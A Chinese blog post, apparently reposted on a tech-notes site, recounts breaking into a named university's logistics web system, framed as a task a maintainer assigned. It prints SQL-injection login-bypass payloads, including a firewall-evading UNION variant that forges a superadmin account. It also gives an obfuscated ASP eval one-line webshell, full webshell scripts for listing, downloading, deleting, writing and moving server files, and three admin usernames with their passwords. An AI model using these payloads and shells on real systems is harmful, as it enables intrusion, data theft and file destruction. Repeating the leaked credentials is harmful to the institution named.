专注收集记录技术开发学习笔记、技术难点、解决方案
网站信息搜索 >> 请输入关键词:
您当前的位置: 首页 > Access

反哺母校其次弹(后勤系统的ACCESS万能密码)

发布时间:2010-05-20 14:01:29 文章来源:www.iduyao.cn 采编人员:星星草
反哺母校第二弹(后勤系统的ACCESS万能密码)

那是一个战乱纷争的年代,我们学校有一个后勤管理系统,有一天维护此系统的老师交给了我一项艰巨的任务,搞一搞这个网站,这绝对是一个史诗级任务,

如同单挑五条巨龙一样困难,于是我抱着渺茫的希望在用户名处输入一个单引号密码处随便输入几个字符,回车,竟然成功进入了后台。


好吧,竟然进来了,这代码写的。

(后来我取得源码之后,仔细研读,也没研究出个所以然来。)

在后台搜刮了一番得到了一些信息,从这些可以大致判断出网站所使用的模板,直接搜索接收请求的路径,找到了具体使用的模板

http://www.ymcn.org/d-Ilq.html  三峡在线新闻系统V1.8

接收请求
POST /admin/ModifyPasswd.asp HTTP/1.1
POST /News/Admin/NewsCataAdd.asp?action=modify&dorootid=A000100030001 HTTP/1.1
POST /News/Admin/NewsCataFix.asp HTTP/1.1
POST /News/Admin/NewsModifySave.asp?id=2658 HTTP/1.1
POST /News/Admin/NewsDelete.asp HTTP/1.1
GET /News/Admin/UploadFile.asp?page=190 HTTP/1.1
POST /News/Admin/UploadFile.asp?action=del HTTP/1.1


文件上传到了
http://hqjt.hit.edu.cn/News/UploadFile/2012124171237591.jpg


编辑器版本
三峡在线 V1.8.0 免费版   修改自  ewebeditor 2.8.0

这样就基本变成了白盒测试,史诗级巨龙瞬间降级成了绿色史莱姆。

检查了一下后台,因为有些管理员会把危险功能的链接删掉,发现三个很可疑的目录,兴冲冲地去访问,页面的确存在但是没有权限操作,

看来用这种权限进入后台不是adminstrator权限。

http://hqjt.hit.edu.cn/Admin/sysuser.asp
http://hqjt.hit.edu.cn/Admin/sysset.asp
http://hqjt.hit.edu.cn/Admin/data.asp     


其中一个页面暴露了管理员的用户名,尝试默认的管理员用户admin admin未果,应该是被修改了 



另外一个暴露了数据库地址,但是数据库后缀被改成了asp无法下载,第一时间想到用注入插入一句话的方法,但是访问这个数据库发现其中有脏数据,

未闭合的<%之类的东西,即使把一句话插入到数据库中执行也会报错。


继续观察源代码,发现其防注入所使用的函数是这样,直接替换成全角字符,基本看不出什么漏洞,也很难绕过。

Function GetSafeStr(str)
'	GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
	GetSafeStr = Replace(Replace(Replace(Replace(Replace(str,"'","‘"),"""","“"),"&",""),"<","<"),">",">")
End Function
但是他的后台输入完全没有使用这个函数,只是单纯的去掉了空格,直接读取用户输入,很低级的错误。

不过密码方面是MD5比对,没有注入的机会,还是要从用户名下手。

aUserID = Trim(Request("a_userid"))
aPassWD = Trim(Request("a_pwd"))
aRePassWD = Trim(Request("a_rpwd"))
后台中,用户名后面的括号里是用户等级,3是超级管理员,我们用单引号登录进去的话是没有等级的,

不过可以用union构造一个LeveL3的假用户。

wyl' union select 1,'wyl','7a57a5a743894a0e',3,'超级管理员',6 from Admin where '1'='1
admin

不过这个语句却被变态的web防火墙给墙了

换另一种注入语句,登录进去了,取得了超级管理员权限

wyl'and(1=2)union select(1),'wyl','7a57a5a743894a0e',3,'超级管理员',(6)from[Admin]where'1'='1
admin

把数据库备份成mdb后缀,下载下来,得到了三个超级管理员的用户名密码

gebi       lalala
bloodhk    cninfo
admin      付费MD5   hithouqin

比较详细的ACCESS注入整理http://www.jb51.net/article/14600.htm

这一说一点,ACCESS没有注释符,很多人说%00可以代替。

另外两种没有尝试的注入方法,先留个坑

第一个:

原理: 
在之前快递厂商安全小测中提到过。IIS下的asp.dll文件在对asp文件后参数串进行url解码时,会直接过滤掉09-0d(09是tab键,0d是回车)、20(空格)、%(下两个字符有一个不是十六进制)字符。 
这里是用burp suite来跑的,构造的绕过语句如下: 
这样也不行

猜表 
GET /news.asp?id=262%20and%20exist%s%20(sele%c%t%20count(*)%20from%20[表名]) 
第二个:

参数污染
http://www.2cto.com/Article/201210/160959.html

下面就是上传一句话的jpg,再用数据库备份改名就可以了。

<%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("a"))%>

不过这貌似最简单的一步却被防火墙阻挡了,菜刀连接失败,访问大马会被中断。

这里用了ISS的后缀名截断与构造a.asp这种畸形文件夹来尝试绕过多没有结果

尝试使用copy指令合并图片与大马,伪装上传也不行。

只好手写了一些简单功能上传了上去。



列文件的在   images/list.asp

<%@ Language=vbscript %> 
<% 
'遍历目录以及目录下文件的函数 
%> 
<% 
Function Bianli(path,Recursion) 
	Set Fso=server.createobject("scripting.filesystemobject") 
	On Error Resume Next 
	Set Objfolder=fso.getfolder(path) 
	Set Objsubfolders=Objfolder.subfolders 
	Set Objfile = Objfolder.Files
	
	Response.write path
	For Each file in Objfile
		Response.write "<br>---" 
		Response.write file.name
	Next	
	
	For Each Objsubfolder In Objsubfolders
		Response.write "<p>" 
		if Recursion<>0 then
			call Bianli(path+""+Objsubfolder.name,Recursion) '递归 
		end if
	Next 
	Set Objfolder=nothing 
	Set Objsubfolders=nothing 
	Set Fso=nothing 
End Function 
%> 
<% 
dim path,Recursion
path = request("path")
Recursion = request("Recursion")
call Bianli(path,Recursion) '遍历d:盘 
%> 
<html>
<p>Testing...</p>
</html>


下载文件的在  images/download.asp

<%@ language=vbscript codepage=65001%> 
  
  <% 
  'Filename must be input 
  if Request("Filename")="" then 
  response.write "<h1>Error:</h1>Filename is empty!<p>" 
  else 
  call downloadFile(Request("Filename")) 
  
  Function downloadFile(strFile) 
  ' make sure you are on the latest MDAC version for this to work 
  ' get full path of specified file 
  'strFilename = server.MapPath(strFile) 
  
  strFilename = strFile
  
  ' clear the buffer 
  Response.Buffer = True 
  Response.Clear 
  
  ' create stream 
  Set s = Server.CreateObject("ADODB.Stream") 
  s.Open 
  
  ' Set as binary 
  s.Type = 1 
  
  ' load in the file 
  on error resume next 
  
  ' check the file exists 
  Set fso = Server.CreateObject("Scripting.FileSystemObject") 
  if not fso.FileExists(strFilename) then 
  Response.Write("<h1>Error:</h1>"&strFilename&" does not exists!<p>") 
  Response.End 
  end if 
  
  ' get length of file 
  Set f = fso.GetFile(strFilename) 
  intFilelength = f.size 
  
  s.LoadFromFile(strFilename) 
  if err then 
  Response.Write("<h1>Error: </h1>Unknown Error!<p>") 
  Response.End 
  end if 
  
  ' send the headers to the users Browse 
  Response.AddHeader "Content-Disposition","attachment; filename="&f.name 
  Response.AddHeader "Content-Length",intFilelength 
  Response.CharSet = "UTF-8" 
  Response.ContentType = "application/octet-stream" 
  
  ' output the file to the browser 
  Response.BinaryWrite s.Read 
  Response.Flush 
  
  ' tidy up 
  s.Close 
  Set s = Nothing 
  
  End Function 
  end if 
  %> 

其他功能均被墙,但还是贴上来吧

执行cmd的代码

http://hi.baidu.com/thelongesturl/item/d13ada335e014d86c2cf2996
删除文件

<%
filepath=request("path")
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile(filepath)
Set fso = nothing
%>
重命名文件

<%
Set fso = Server.CreateObject("Scripting.FileSystemObject") 
Set f = fso.GetFile(request("path"))
f.name =request("filename")
newname=f.name
response.write "已更名为"&newname
%>

移动文件

<%
dim fso 
set fso = server.createobject("scripting.filesystemobject") 
fso.movefolder request("name1"),request("name2") 
set fso = nothing  
%>
上传文件Scripting.FileSystemObject版

<form name="FORM" action="upload.asp" method="post"> 
 <input type=TEXT name=file style="width:300px;height:100px"> 
  <input type=TEXT name=name size=20 maxlength=100> 
  <input type="submit" name="submit" value="OK">  
</form> 
<% 
dim fs, f 
set fs=Server.CreateObject("Scripting.FileSystemObject")  
set f=fs.CreateTextFile(Request("name"),true)
f.Write(Request("file"))
f.Close
set f=nothing
set fs=nothing
Response.write Request("name")
%>

上传文件ADODB.Stream版

<form name="FORM" action="test.asp" method="post"> 
 <input type=TEXT name=file style="width:300px;height:100px"> 
  <input type=TEXT name=name size=20 maxlength=100> 
  <input type="submit" name="submit" value="OK">  
</form> 
<% 
dim oFileStream 
Set oFileStream = Server.CreateObject("ADODB.Stream") 
oFileStream.Type = 2   'adTypeText  =2
oFileStream.Mode = 3   'adModeReadWrite =3
oFileStream.open
oFileStream.WriteText Request("file")
oFileStream.SaveToFile Request("name"),2 'adSaveCreateOverWrite =2
set oFileStream=nothing
Response.write Request("name")
%>
复制文件

<%
dim MyFSO
set MyFSO=Server.CreateObject("Scripting.FileSystemObject")
MyFSO.CopyFile request("name1"),request("name2")
set MyFSO=nothing
%>

最后虽让没有拿到完整的shell,但是取得了绝大部分目录的查看与下载权限,和网站源码,感觉还好,先留个坑吧

最后附上一个尝试提权的帖子http://club.topsage.com/thread-1668317-1-1.html





友情提示:
信息收集于互联网,如果您发现错误或造成侵权,请及时通知本站更正或删除,具体联系方式见页面底部联系我们,谢谢。

其他相似内容:

热门推荐: